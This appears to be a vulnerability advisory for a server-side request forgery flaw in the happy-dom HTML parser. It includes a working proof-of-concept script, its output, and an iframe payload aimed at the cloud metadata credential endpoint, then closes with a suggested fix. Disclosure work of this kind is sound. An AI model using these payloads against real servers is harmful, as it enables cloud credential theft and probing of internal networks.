Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

• happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has:

• disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
• disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact

• Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
• Internal network scanning — probe internal services and ports
• Data exfiltration — read responses from internal APIs
• Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.